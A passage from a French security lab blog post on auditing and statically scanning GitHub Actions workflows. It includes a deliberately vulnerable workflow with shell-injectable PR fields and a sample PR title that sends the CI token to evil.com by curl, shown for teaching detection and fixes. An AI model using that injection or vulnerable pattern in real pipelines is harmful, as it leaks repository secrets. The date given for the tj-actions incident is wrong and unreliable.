{"id":547,"date":"2026-02-03T22:16:53","date_gmt":"2026-02-03T21:16:53","guid":{"rendered":"https:\/\/secure-pipelines.com\/?p=547"},"modified":"2026-03-24T12:59:38","modified_gmt":"2026-03-24T11:59:38","slug":"lab-detecting-malicious-github-actions-static-analysis","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis\/","title":{"rendered":"Lab : D\u00e9tection des GitHub Actions Malveillantes par Analyse Statique"},"content":{"rendered":"<h2>Vue d&rsquo;ensemble<\/h2>\n<p>Les GitHub Actions tierces sont l&rsquo;une des fonctionnalit\u00e9s les plus pratiques de l&rsquo;\u00e9cosyst\u00e8me GitHub. Avec une simple directive <code>uses:<\/code>, vous pouvez int\u00e9grer une logique de build complexe, d\u00e9ployer sur des fournisseurs cloud ou ex\u00e9cuter des scanners de s\u00e9curit\u00e9. Mais cette commodit\u00e9 implique un compromis critique : chaque action tierce ex\u00e9cute du code dans votre environnement CI avec acc\u00e8s \u00e0 vos secrets, tokens et code source.<\/p>\n<p>Une action compromise ou malveillante peut exfiltrer des identifiants, injecter du code dans vos artefacts de build, modifier des variables d&rsquo;environnement pour alt\u00e9rer les \u00e9tapes en aval, ou cr\u00e9er des portes d\u00e9rob\u00e9es dans vos releases. Contrairement aux d\u00e9pendances g\u00e9r\u00e9es par des gestionnaires de paquets, les GitHub Actions ne disposent pas d&rsquo;un \u00e9cosyst\u00e8me de v\u00e9rification robuste, ce qui en fait une cible privil\u00e9gi\u00e9e pour les attaques de la cha\u00eene d&rsquo;approvisionnement.<\/p>\n<p>Dans ce lab pratique, vous apprendrez \u00e0 :<\/p>\n<ul>\n<li>Auditer manuellement les actions tierces pour d\u00e9tecter les comportements suspects<\/li>\n<li>Utiliser <strong>actionlint<\/strong> pour d\u00e9tecter les erreurs de configuration et les vuln\u00e9rabilit\u00e9s d&rsquo;injection d&rsquo;expression<\/li>\n<li>Utiliser <strong>zizmor<\/strong> pour d\u00e9tecter les anti-patterns de s\u00e9curit\u00e9 sp\u00e9cifiques dans les workflows<\/li>\n<li>\u00c9pingler les actions \u00e0 des r\u00e9f\u00e9rences SHA immuables et automatiser les mises \u00e0 jour avec Dependabot<\/li>\n<li>Appliquer une liste blanche d&rsquo;actions pour emp\u00eacher les actions non autoris\u00e9es d&rsquo;entrer dans vos pipelines<\/li>\n<li>Surveiller les modifications de workflows via CODEOWNERS et des v\u00e9rifications automatis\u00e9es de PR<\/li>\n<\/ul>\n<p>\u00c0 la fin de ce lab, vous disposerez d&rsquo;une strat\u00e9gie de d\u00e9fense en profondeur qui r\u00e9duit le risque de compromission de la cha\u00eene d&rsquo;approvisionnement via les GitHub Actions.<\/p>\n<h2>Pr\u00e9requis<\/h2>\n<p>Avant de commencer ce lab, assurez-vous de disposer de :<\/p>\n<ul>\n<li><strong>Un compte GitHub<\/strong> avec les permissions n\u00e9cessaires pour cr\u00e9er des d\u00e9p\u00f4ts et configurer les Actions<\/li>\n<li><strong>Un d\u00e9p\u00f4t de test<\/strong> \u2014 cr\u00e9ez un nouveau d\u00e9p\u00f4t ou utilisez un d\u00e9p\u00f4t existant hors production avec au moins un workflow GitHub Actions<\/li>\n<li><strong>Git CLI<\/strong> install\u00e9 et authentifi\u00e9 aupr\u00e8s de GitHub<\/li>\n<li><strong>Node.js 18+<\/strong> (requis pour certains outils)<\/li>\n<li><strong>Python 3.9+<\/strong> (pour installer zizmor)<\/li>\n<li><strong>GitHub CLI (<code>gh<\/code>)<\/strong> \u2014 installer depuis <a href=\"https:\/\/cli.github.com\/\" target=\"_blank\" rel=\"noopener\">cli.github.com<\/a><\/li>\n<li><strong>Connaissances de base en GitHub Actions<\/strong> \u2014 vous devez comprendre la syntaxe YAML des workflows, les jobs, les steps et le mot-cl\u00e9 <code>uses:<\/code><\/li>\n<\/ul>\n<p>Cr\u00e9ez un d\u00e9p\u00f4t de test si vous n&rsquo;en avez pas :<\/p>\n<pre><code>gh repo create actions-security-lab --public --clone\ncd actions-security-lab\nmkdir -p .github\/workflows<\/code><\/pre>\n<p>Cr\u00e9ez un fichier de workflow exemple \u00e0 <code>.github\/workflows\/ci.yml<\/code> que nous utiliserons tout au long de ce lab :<\/p>\n<pre><code>name: CI Pipeline\non:\n  push:\n    branches: [main]\n  pull_request:\n    branches: [main]\n\npermissions:\n  contents: read\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - uses: actions\/setup-node@v4\n        with:\n          node-version: '20'\n      - uses: actions\/cache@v4\n        with:\n          path: ~\/.npm\n          key: ${{ runner.os }}-npm-${{ hashFiles('**\/package-lock.json') }}\n      - run: npm ci\n      - run: npm test<\/code><\/pre>\n<h2>Comprendre la menace<\/h2>\n<p>Avant de commencer \u00e0 scanner et auditer, il est important de comprendre comment les GitHub Actions deviennent des vecteurs d&rsquo;attaque. Il existe plusieurs m\u00e9thodes de compromission bien document\u00e9es :<\/p>\n<h3>Prise de contr\u00f4le du compte du mainteneur<\/h3>\n<p>Un attaquant obtient l&rsquo;acc\u00e8s au compte GitHub d&rsquo;un mainteneur d&rsquo;action \u2014 par bourrage d&rsquo;identifiants, hame\u00e7onnage ou d\u00e9tournement de session. Une fois le compte sous contr\u00f4le, il pousse du code malveillant dans le d\u00e9p\u00f4t de l&rsquo;action et met \u00e0 jour les tags existants pour pointer vers le commit compromis. Chaque workflow r\u00e9f\u00e9ren\u00e7ant ce tag r\u00e9cup\u00e8re imm\u00e9diatement la version malveillante lors de son prochain lancement.<\/p>\n<h3>Mises \u00e0 jour malveillantes de tags<\/h3>\n<p>Les tags Git sont mutables. Un mainteneur d&rsquo;action (ou un attaquant ayant un acc\u00e8s en \u00e9criture) peut supprimer un tag comme <code>v1<\/code> et le recr\u00e9er en pointant vers un commit diff\u00e9rent. Si votre workflow utilise <code>uses: some-action\/tool@v1<\/code>, vous faites confiance au fait que le tag pointe toujours vers du code s\u00fbr. Cette confiance est facilement viol\u00e9e.<\/p>\n<h3>Typosquatting<\/h3>\n<p>Les attaquants cr\u00e9ent des actions avec des noms similaires de mani\u00e8re confuse aux actions populaires. Par exemple :<\/p>\n<ul>\n<li><code>actions\/checkout<\/code> (l\u00e9gitime) vs. <code>action\/checkout<\/code> (typosquat)<\/li>\n<li><code>actions\/setup-node<\/code> vs. <code>actions\/setup-nodejs<\/code><\/li>\n<li><code>docker\/build-push-action<\/code> vs. <code>docker\/build-and-push-action<\/code><\/li>\n<\/ul>\n<p>Une simple faute de frappe dans votre fichier YAML de workflow peut r\u00e9cup\u00e9rer une action compl\u00e8tement diff\u00e9rente et malveillante.<\/p>\n<h3>D\u00e9tournement de d\u00e9pendances<\/h3>\n<p>De nombreuses GitHub Actions sont bas\u00e9es sur JavaScript et poss\u00e8dent leurs propres d\u00e9pendances <code>node_modules<\/code>. Si une d\u00e9pendance d&rsquo;une action est compromise (via une attaque de la cha\u00eene d&rsquo;approvisionnement npm), l&rsquo;action elle-m\u00eame devient un vecteur \u2014 m\u00eame si le propre code de l&rsquo;action est propre.<\/p>\n<h3>Incidents r\u00e9els<\/h3>\n<p><strong>tj-actions\/changed-files (mars 2023) :<\/strong> Des attaquants ont compromis l&rsquo;action largement utilis\u00e9e <code>tj-actions\/changed-files<\/code> en obtenant l&rsquo;acc\u00e8s au compte du mainteneur. Ils ont modifi\u00e9 l&rsquo;action pour exfiltrer les secrets CI\/CD en vidant la m\u00e9moire du runner et les variables d&rsquo;environnement dans les logs du workflow. Des milliers de d\u00e9p\u00f4ts ont \u00e9t\u00e9 affect\u00e9s car ils r\u00e9f\u00e9ren\u00e7aient des tags mutables plut\u00f4t que des SHA \u00e9pingl\u00e9s.<\/p>\n<p><strong>codecov\/codecov-action (2021) :<\/strong> Le Bash Uploader de Codecov a \u00e9t\u00e9 modifi\u00e9 par des attaquants qui ont obtenu l&rsquo;acc\u00e8s via une image Docker compromise utilis\u00e9e dans le processus CI de Codecov. Le script alt\u00e9r\u00e9 exfiltrait les variables d&rsquo;environnement \u2014 y compris les tokens CI, les cl\u00e9s API et les identifiants \u2014 depuis les environnements CI des clients. Cela a affect\u00e9 un grand nombre d&rsquo;organisations ex\u00e9cutant l&rsquo;action Codecov dans leurs pipelines.<\/p>\n<p>Ces incidents partagent un sch\u00e9ma commun : <strong>la confiance dans les r\u00e9f\u00e9rences mutables<\/strong>. Les deux auraient pu \u00eatre att\u00e9nu\u00e9s en \u00e9pinglant \u00e0 des SHA immuables et en auditant le comportement des actions avant leur adoption.<\/p>\n<h2>Exercice 1 : Audit manuel des actions<\/h2>\n<p>Les outils automatis\u00e9s sont essentiels, mais rien ne remplace la compr\u00e9hension de ce que fait r\u00e9ellement une action. Dans cet exercice, vous allez auditer manuellement trois actions couramment utilis\u00e9es pour d\u00e9velopper vos r\u00e9flexes de d\u00e9tection de patterns suspects.<\/p>\n<h3>\u00c9tape 1 : S\u00e9lectionner les actions \u00e0 auditer<\/h3>\n<p>\u00c0 partir du workflow exemple ci-dessus, nous allons auditer :<\/p>\n<ol>\n<li><code>actions\/checkout@v4<\/code><\/li>\n<li><code>actions\/setup-node@v4<\/code><\/li>\n<li><code>actions\/cache@v4<\/code><\/li>\n<\/ol>\n<h3>\u00c9tape 2 : Examiner <code>action.yml<\/code><\/h3>\n<p>Pour chaque action, commencez par examiner le fichier <code>action.yml<\/code> dans le d\u00e9p\u00f4t de l&rsquo;action. Ce fichier d\u00e9finit les entr\u00e9es, les sorties et le point d&rsquo;entr\u00e9e de l&rsquo;action.<\/p>\n<pre><code># Cloner l'action pour l'inspecter localement\ngit clone --depth 1 https:\/\/github.com\/actions\/checkout.git \/tmp\/audit-checkout\ncat \/tmp\/audit-checkout\/action.yml<\/code><\/pre>\n<p>\u00c9l\u00e9ments cl\u00e9s \u00e0 rechercher dans <code>action.yml<\/code> :<\/p>\n<ul>\n<li><strong>Point d&rsquo;entr\u00e9e :<\/strong> S&rsquo;agit-il d&rsquo;une action <code>node<\/code> (ex\u00e9cute du JavaScript), <code>composite<\/code> (ex\u00e9cute des \u00e9tapes) ou <code>docker<\/code> (ex\u00e9cute un conteneur) ? Chaque type a un profil de risque diff\u00e9rent.<\/li>\n<li><strong>Entr\u00e9es :<\/strong> L&rsquo;action accepte-t-elle des entr\u00e9es sensibles comme des tokens ou des identifiants ?<\/li>\n<li><strong>Post-action :<\/strong> D\u00e9finit-elle un point d&rsquo;entr\u00e9e <code>post:<\/code> ? Les post-actions s&rsquo;ex\u00e9cutent m\u00eame si le job \u00e9choue, ce qui les rend id\u00e9ales pour l&rsquo;exfiltration.<\/li>\n<\/ul>\n<h3>\u00c9tape 3 : Inspecter le code source<\/h3>\n<p>Pour les actions JavaScript\/TypeScript, examinez le fichier compil\u00e9 <code>dist\/index.js<\/code> et les sources dans <code>src\/<\/code> :<\/p>\n<pre><code># Rechercher les appels r\u00e9seau\ngrep -rn 'https\\?:\/\/' \/tmp\/audit-checkout\/src\/ | grep -v 'github.com\\|api.github.com'\n\n# Rechercher les patterns d'acc\u00e8s aux secrets\ngrep -rn 'GITHUB_TOKEN\\|process.env\\|getInput' \/tmp\/audit-checkout\/src\/\n\n# Rechercher les \u00e9critures de fichiers vers des emplacements sensibles\ngrep -rn 'GITHUB_ENV\\|GITHUB_OUTPUT\\|GITHUB_PATH' \/tmp\/audit-checkout\/src\/\n\n# Rechercher les appels exec ou spawn\ngrep -rn 'exec\\|spawn\\|child_process' \/tmp\/audit-checkout\/src\/<\/code><\/pre>\n<h3>\u00c9tape 4 : Liste de v\u00e9rification des signaux d&rsquo;alerte<\/h3>\n<p>Utilisez cette liste de v\u00e9rification lors de l&rsquo;audit de toute GitHub Action :<\/p>\n<table>\n<thead>\n<tr>\n<th>Signal d&rsquo;alerte<\/th>\n<th>Ce qu&rsquo;il faut rechercher<\/th>\n<th>Niveau de risque<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Appels r\u00e9seau vers des domaines inconnus<\/td>\n<td><code>fetch()<\/code>, <code>http.request()<\/code>, <code>curl<\/code> vers des domaines non-GitHub<\/td>\n<td>Critique<\/td>\n<\/tr>\n<tr>\n<td>Acc\u00e8s aux secrets<\/td>\n<td>Lecture de <code>GITHUB_TOKEN<\/code>, <code>secrets.*<\/code> ou des variables d&rsquo;environnement<\/td>\n<td>\u00c9lev\u00e9<\/td>\n<\/tr>\n<tr>\n<td>Manipulation de l&rsquo;environnement<\/td>\n<td>\u00c9criture dans <code>GITHUB_ENV<\/code>, <code>GITHUB_OUTPUT<\/code> ou <code>GITHUB_PATH<\/code><\/td>\n<td>\u00c9lev\u00e9<\/td>\n<\/tr>\n<tr>\n<td>Ex\u00e9cution de code dynamique<\/td>\n<td><code>eval()<\/code>, <code>exec()<\/code>, t\u00e9l\u00e9chargement et ex\u00e9cution de scripts<\/td>\n<td>Critique<\/td>\n<\/tr>\n<tr>\n<td>Code obfusqu\u00e9<\/td>\n<td>Cha\u00eenes encod\u00e9es en Base64, code minifi\u00e9 sans source maps<\/td>\n<td>\u00c9lev\u00e9<\/td>\n<\/tr>\n<tr>\n<td>Hooks post-action<\/td>\n<td>Point d&rsquo;entr\u00e9e <code>post:<\/code> dans <code>action.yml<\/code><\/td>\n<td>Moyen<\/td>\n<\/tr>\n<tr>\n<td>Permissions excessives demand\u00e9es<\/td>\n<td>La documentation demande des permissions <code>write<\/code> au-del\u00e0 de ce qui est n\u00e9cessaire<\/td>\n<td>Moyen<\/td>\n<\/tr>\n<tr>\n<td>Pas de v\u00e9rification ni de signature<\/td>\n<td>Action ne provenant pas d&rsquo;un cr\u00e9ateur v\u00e9rifi\u00e9, pas de signatures Sigstore<\/td>\n<td>Faible-Moyen<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>\u00c9tape 5 : Exemple d&rsquo;audit \u2014 <code>actions\/checkout@v4<\/code><\/h3>\n<p>Voici un audit condens\u00e9 de <code>actions\/checkout@v4<\/code> :<\/p>\n<pre><code># Analyse de action.yml\n# - Type : node20 (action JavaScript)\n# - Entr\u00e9es : Accepte l'entr\u00e9e 'token' (par d\u00e9faut github.token)\n# - Post-action : Oui \u2014 ex\u00e9cute un nettoyage pour supprimer les identifiants\n\n# Analyse r\u00e9seau\n# - Se connecte \u00e0 : api.github.com (attendu pour les op\u00e9rations git)\n# - Pas de connexions vers des domaines tiers \u2713\n\n# Gestion des secrets\n# - Utilise GITHUB_TOKEN pour le clone git authentifi\u00e9\n# - Le token est conserv\u00e9 dans la config git par d\u00e9faut (entr\u00e9e persist-credentials)\n# - La post-action supprime les identifiants conserv\u00e9s\n\n# \u00c9critures d'environnement\n# - N'\u00e9crit pas dans GITHUB_ENV ni GITHUB_PATH \u2713\n\n# Verdict : S\u00dbR \u2014 le comportement correspond \u00e0 l'objectif document\u00e9\n# Recommandation : D\u00e9finir persist-credentials: false pour minimiser l'exposition du token<\/code><\/pre>\n<p>Appliquez ce m\u00eame processus \u00e0 chaque nouvelle action avant de l&rsquo;ajouter \u00e0 vos workflows.<\/p>\n<h2>Exercice 2 : Scanner les actions avec actionlint<\/h2>\n<p><a href=\"https:\/\/github.com\/rhysd\/actionlint\" target=\"_blank\" rel=\"noopener\">actionlint<\/a> est un outil d&rsquo;analyse statique pour les fichiers de workflow GitHub Actions. Il d\u00e9tecte les erreurs de syntaxe, les incompatibilit\u00e9s de types et \u2014 point crucial pour notre propos \u2014 les vuln\u00e9rabilit\u00e9s d&rsquo;injection d&rsquo;expression.<\/p>\n<h3>\u00c9tape 1 : Installer actionlint<\/h3>\n<pre><code># macOS\nbrew install actionlint\n\n# Linux (t\u00e9l\u00e9charger le binaire)\ncurl -sL https:\/\/github.com\/rhysd\/actionlint\/releases\/latest\/download\/actionlint_linux_amd64.tar.gz | tar xz\nsudo mv actionlint \/usr\/local\/bin\/\n\n# V\u00e9rifier l'installation\nactionlint --version<\/code><\/pre>\n<h3>\u00c9tape 2 : Ex\u00e9cuter sur vos workflows<\/h3>\n<pre><code>actionlint .github\/workflows\/*.yml<\/code><\/pre>\n<p>Pour notre workflow CI exemple, actionlint produira une sortie propre car nous avons suivi les bonnes pratiques. Introduisons un workflow vuln\u00e9rable pour voir les capacit\u00e9s de d\u00e9tection de s\u00e9curit\u00e9 d&rsquo;actionlint.<\/p>\n<h3>\u00c9tape 3 : Cr\u00e9er un workflow vuln\u00e9rable<\/h3>\n<p>Cr\u00e9ez <code>.github\/workflows\/greet-pr.yml<\/code> avec des vuln\u00e9rabilit\u00e9s intentionnelles :<\/p>\n<pre><code>name: Greet PR\non:\n  pull_request_target:\n    types: [opened]\n\njobs:\n  greet:\n    runs-on: ubuntu-latest\n    permissions:\n      pull-requests: write\n    steps:\n      - name: Greet the contributor\n        run: |\n          echo \"PR Title: ${{ github.event.pull_request.title }}\"\n          echo \"PR Author: ${{ github.event.pull_request.user.login }}\"\n          echo \"PR Body: ${{ github.event.pull_request.body }}\"\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Post comment\n        run: |\n          curl -X POST \\\n            -H \"Authorization: token $GITHUB_TOKEN\" \\\n            -H \"Accept: application\/vnd.github.v3+json\" \\\n            https:\/\/api.github.com\/repos\/${{ github.repository }}\/issues\/${{ github.event.pull_request.number }}\/comments \\\n            -d '{\"body\": \"Welcome, ${{ github.event.pull_request.user.login }}! Thanks for your PR: ${{ github.event.pull_request.title }}\"}'<\/code><\/pre>\n<h3>\u00c9tape 4 : Scanner le workflow vuln\u00e9rable<\/h3>\n<pre><code>actionlint .github\/workflows\/greet-pr.yml<\/code><\/pre>\n<p>actionlint signalera les vuln\u00e9rabilit\u00e9s d&rsquo;injection d&rsquo;expression :<\/p>\n<pre><code>.github\/workflows\/greet-pr.yml:14:27: expression injection: \n  \"github.event.pull_request.title\" is potentially untrusted. \n  Consider using an environment variable instead. \n  [expression]\n.github\/workflows\/greet-pr.yml:16:25: expression injection: \n  \"github.event.pull_request.body\" is potentially untrusted. \n  Consider using an environment variable instead. \n  [expression]<\/code><\/pre>\n<p>Les champs <code>title<\/code> et <code>body<\/code> sont contr\u00f4l\u00e9s par l&rsquo;auteur de la PR. Un attaquant peut concevoir un titre de PR contenant des m\u00e9tacaract\u00e8res shell pour ex\u00e9cuter des commandes arbitraires :<\/p>\n<pre><code># Titre de PR malveillant :\nInnocent Title\"; curl -s https:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"<\/code><\/pre>\n<p>Lorsque ce titre est interpol\u00e9 directement dans le bloc <code>run:<\/code> via <code>${{ }}<\/code>, le shell ex\u00e9cute la commande inject\u00e9e.<\/p>\n<h3>\u00c9tape 5 : Corriger la vuln\u00e9rabilit\u00e9<\/h3>\n<p>La correction consiste \u00e0 passer les donn\u00e9es non fiables via des variables d&rsquo;environnement au lieu de l&rsquo;interpolation directe :<\/p>\n<pre><code>name: Greet PR (Fixed)\non:\n  pull_request_target:\n    types: [opened]\n\njobs:\n  greet:\n    runs-on: ubuntu-latest\n    permissions:\n      pull-requests: write\n    steps:\n      - name: Greet the contributor\n        run: |\n          echo \"PR Title: $PR_TITLE\"\n          echo \"PR Author: $PR_AUTHOR\"\n          echo \"PR Body: $PR_BODY\"\n        env:\n          PR_TITLE: ${{ github.event.pull_request.title }}\n          PR_AUTHOR: ${{ github.event.pull_request.user.login }}\n          PR_BODY: ${{ github.event.pull_request.body }}\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Post comment\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.payload.pull_request.number,\n              body: `Welcome, ${context.payload.pull_request.user.login}! Thanks for your PR.`\n            });<\/code><\/pre>\n<p>Les variables d&rsquo;environnement sont transmises comme des donn\u00e9es, et non interpol\u00e9es dans des commandes shell, ce qui emp\u00eache l&rsquo;injection. Relancez actionlint pour confirmer la correction :<\/p>\n<pre><code>actionlint .github\/workflows\/greet-pr-fixed.yml\n# Pas de sortie = aucun probl\u00e8me trouv\u00e9<\/code><\/pre>\n<h2>Exercice 3 : Scanner avec zizmor<\/h2>\n<p><a href=\"https:\/\/github.com\/woodruffw\/zizmor\" target=\"_blank\" rel=\"noopener\">zizmor<\/a> est un outil d&rsquo;analyse statique ax\u00e9 sur la s\u00e9curit\u00e9, sp\u00e9cifiquement con\u00e7u pour les GitHub Actions. Alors qu&rsquo;actionlint se concentre sur la conformit\u00e9 avec quelques v\u00e9rifications de s\u00e9curit\u00e9, zizmor se concentre exclusivement sur les anti-patterns de s\u00e9curit\u00e9.<\/p>\n<h3>\u00c9tape 1 : Installer zizmor<\/h3>\n<pre><code># Installation via pip\npip install zizmor\n\n# Ou via pipx pour l'isolation\npipx install zizmor\n\n# V\u00e9rifier l'installation\nzizmor --version<\/code><\/pre>\n<h3>\u00c9tape 2 : Ex\u00e9cuter sur vos workflows<\/h3>\n<pre><code>zizmor .github\/workflows\/<\/code><\/pre>\n<p>zizmor analyse les workflows pour un ensemble complet de probl\u00e8mes de s\u00e9curit\u00e9. Sur notre <code>ci.yml<\/code> exemple, il signalera :<\/p>\n<pre><code>ci.yml:15:9 warning[unpinned-uses]: unpinned 3rd-party action reference\n  |\n15|       - uses: actions\/checkout@v4\n  |         ^^^^ action not pinned to a full-length commit SHA\n  |\n  = note: Pinning actions to a full SHA protects against tag mutation attacks\n\nci.yml:17:9 warning[unpinned-uses]: unpinned 3rd-party action reference\n  |\n17|       - uses: actions\/setup-node@v4\n  |         ^^^^ action not pinned to a full-length commit SHA\n\nci.yml:20:9 warning[unpinned-uses]: unpinned 3rd-party action reference\n  |\n20|       - uses: actions\/cache@v4\n  |         ^^^^ action not pinned to a full-length commit SHA<\/code><\/pre>\n<h3>\u00c9tape 3 : Scanner le workflow vuln\u00e9rable<\/h3>\n<pre><code>zizmor .github\/workflows\/greet-pr.yml<\/code><\/pre>\n<p>zizmor produira des r\u00e9sultats de s\u00e9curit\u00e9 plus riches :<\/p>\n<pre><code>greet-pr.yml:4:5 warning[dangerous-trigger]: use of dangerous trigger\n  |\n4 |   pull_request_target:\n  |   ^^^^^^^^^^^^^^^^^^^^ pull_request_target runs in the context of the base branch\n  |\n  = note: This trigger has access to repository secrets and a read-write token\n\ngreet-pr.yml:14:27 error[template-injection]: template injection in run: block\n  |\n14|          echo \"PR Title: ${{ github.event.pull_request.title }}\"\n  |                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  |\n  = note: Attacker-controlled input is interpolated directly into a shell command\n\ngreet-pr.yml:15:9 warning[unpinned-uses]: no actions pinned by SHA\n  |\n  = note: All third-party actions should be pinned to full commit SHAs\n\ngreet-pr.yml:12:5 warning[excessive-permissions]: permissions may be overly broad\n  |\n  = note: Consider using read-only permissions where possible<\/code><\/pre>\n<h3>\u00c9tape 4 : Comparer actionlint et zizmor<\/h3>\n<table>\n<thead>\n<tr>\n<th>Fonctionnalit\u00e9<\/th>\n<th>actionlint<\/th>\n<th>zizmor<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Objectif principal<\/td>\n<td>Conformit\u00e9 et syntaxe<\/td>\n<td>Analyse de s\u00e9curit\u00e9<\/td>\n<\/tr>\n<tr>\n<td>Injection d&rsquo;expression<\/td>\n<td>Oui<\/td>\n<td>Oui (plus complet)<\/td>\n<\/tr>\n<tr>\n<td>Actions non \u00e9pingl\u00e9es<\/td>\n<td>Non<\/td>\n<td>Oui<\/td>\n<\/tr>\n<tr>\n<td>D\u00e9clencheurs dangereux<\/td>\n<td>Non<\/td>\n<td>Oui<\/td>\n<\/tr>\n<tr>\n<td>Permissions excessives<\/td>\n<td>Non<\/td>\n<td>Oui<\/td>\n<\/tr>\n<tr>\n<td>Empoisonnement d&rsquo;artefacts<\/td>\n<td>Non<\/td>\n<td>Oui<\/td>\n<\/tr>\n<tr>\n<td>Mauvaise configuration OIDC<\/td>\n<td>Non<\/td>\n<td>Oui<\/td>\n<\/tr>\n<tr>\n<td>V\u00e9rification de types<\/td>\n<td>Oui<\/td>\n<td>Non<\/td>\n<\/tr>\n<tr>\n<td>Syntaxe obsol\u00e8te<\/td>\n<td>Oui<\/td>\n<td>Non<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Recommandation :<\/strong> Utilisez les deux outils ensemble. actionlint d\u00e9tecte les probl\u00e8mes de conformit\u00e9 et les patterns d&rsquo;injection de base ; zizmor fournit une analyse de s\u00e9curit\u00e9 plus approfondie. Ajoutez les deux \u00e0 votre pipeline CI :<\/p>\n<pre><code>name: Workflow Security Scan\non:\n  pull_request:\n    paths:\n      - '.github\/workflows\/**'\n\njobs:\n  scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4\n      - name: Run actionlint\n        run: |\n          brew install actionlint\n          actionlint .github\/workflows\/*.yml\n      - name: Run zizmor\n        run: |\n          pip install zizmor\n          zizmor .github\/workflows\/<\/code><\/pre>\n<h2>Exercice 4 : \u00c9pinglage et v\u00e9rification de l&rsquo;int\u00e9grit\u00e9 des actions<\/h2>\n<p>Les r\u00e9f\u00e9rences bas\u00e9es sur des tags comme <code>@v4<\/code> sont mutables \u2014 le tag peut \u00eatre d\u00e9plac\u00e9 pour pointer vers n&rsquo;importe quel commit \u00e0 tout moment. Les \u00e9pinglages bas\u00e9s sur des SHA sont immuables et fournissent une assurance cryptographique que vous ex\u00e9cutez exactement le code que vous avez examin\u00e9.<\/p>\n<h3>\u00c9tape 1 : R\u00e9soudre les SHA de vos actions<\/h3>\n<p>Utilisez le GitHub CLI pour r\u00e9soudre le SHA actuel de chaque tag d&rsquo;action :<\/p>\n<pre><code># R\u00e9soudre actions\/checkout@v4\ngh api repos\/actions\/checkout\/git\/ref\/tags\/v4 --jq '.object.sha'\n# Sortie : b4ffde65f46336ab88eb53be808477a3936bae11\n\n# R\u00e9soudre actions\/setup-node@v4\ngh api repos\/actions\/setup-node\/git\/ref\/tags\/v4 --jq '.object.sha'\n# Sortie : 60edb5dd545a775178f52524783378180af0d1f8\n\n# R\u00e9soudre actions\/cache@v4\ngh api repos\/actions\/cache\/git\/ref\/tags\/v4 --jq '.object.sha'\n# Sortie : 0c45773b623bea8c8e75f6c82b208c3cf94d9d67<\/code><\/pre>\n<p><strong>Important :<\/strong> Certains tags pointent vers des objets tag annot\u00e9s plut\u00f4t que directement vers des commits. Dans ce cas, vous devez d\u00e9r\u00e9f\u00e9rencer le tag :<\/p>\n<pre><code># Si la commande ci-dessus retourne un objet de type 'tag', d\u00e9r\u00e9f\u00e9rencez-le :\ngh api repos\/actions\/checkout\/git\/ref\/tags\/v4 --jq '.object' \n# Si le type est \"tag\", r\u00e9cup\u00e9rez le commit sous-jacent :\ngh api repos\/actions\/checkout\/git\/tags\/TAG_SHA --jq '.object.sha'<\/code><\/pre>\n<h3>\u00c9tape 2 : Mettre \u00e0 jour votre workflow<\/h3>\n<p>Remplacez les r\u00e9f\u00e9rences de tags par des \u00e9pinglages SHA. Ajoutez toujours un commentaire avec le tag original pour la lisibilit\u00e9 :<\/p>\n<pre><code>steps:\n  - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4\n  - uses: actions\/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4\n    with:\n      node-version: '20'\n  - uses: actions\/cache@0c45773b623bea8c8e75f6c82b208c3cf94d9d67 # v4\n    with:\n      path: ~\/.npm\n      key: ${{ runner.os }}-npm-${{ hashFiles('**\/package-lock.json') }}<\/code><\/pre>\n<h3>\u00c9tape 3 : V\u00e9rifier les signatures Sigstore (lorsque disponibles)<\/h3>\n<p>Certains \u00e9diteurs d&rsquo;actions signent leurs releases avec Sigstore. Vous pouvez v\u00e9rifier ces signatures :<\/p>\n<pre><code># Installer cosign\nbrew install cosign\n\n# V\u00e9rifier une release d'action sign\u00e9e (si l'\u00e9diteur la signe)\ncosign verify-blob \\\n  --certificate-identity \"https:\/\/github.com\/actions\/checkout\/.github\/workflows\/release.yml@refs\/tags\/v4\" \\\n  --certificate-oidc-issuer \"https:\/\/token.actions.githubusercontent.com\" \\\n  --bundle checkout-v4.sigstore.json \\\n  checkout-v4.tar.gz<\/code><\/pre>\n<p>Toutes les actions ne publient pas encore de signatures Sigstore, mais c&rsquo;est une bonne pratique \u00e9mergente.<\/p>\n<h3>\u00c9tape 4 : Configurer Dependabot pour les mises \u00e0 jour automatiques de SHA<\/h3>\n<p>L&rsquo;\u00e9pinglage aux SHA signifie que vous ne recevrez pas automatiquement les mises \u00e0 jour. Utilisez Dependabot pour automatiser cela tout en maintenant l&rsquo;immuabilit\u00e9 :<\/p>\n<p>Cr\u00e9ez <code>.github\/dependabot.yml<\/code> :<\/p>\n<pre><code>version: 2\nupdates:\n  - package-ecosystem: \"github-actions\"\n    directory: \"\/\"\n    schedule:\n      interval: \"weekly\"\n      day: \"monday\"\n    open-pull-requests-limit: 10\n    labels:\n      - \"dependencies\"\n      - \"github-actions\"\n    reviewers:\n      - \"your-security-team\"\n    commit-message:\n      prefix: \"chore(deps)\"<\/code><\/pre>\n<p>Lorsqu&rsquo;une nouvelle version d&rsquo;une action est publi\u00e9e, Dependabot cr\u00e9era une PR qui met \u00e0 jour l&rsquo;\u00e9pinglage SHA :<\/p>\n<pre><code># Exemple de diff de PR Dependabot :\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n+ uses: actions\/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.2<\/code><\/pre>\n<p>Cela vous offre le meilleur des deux mondes : des 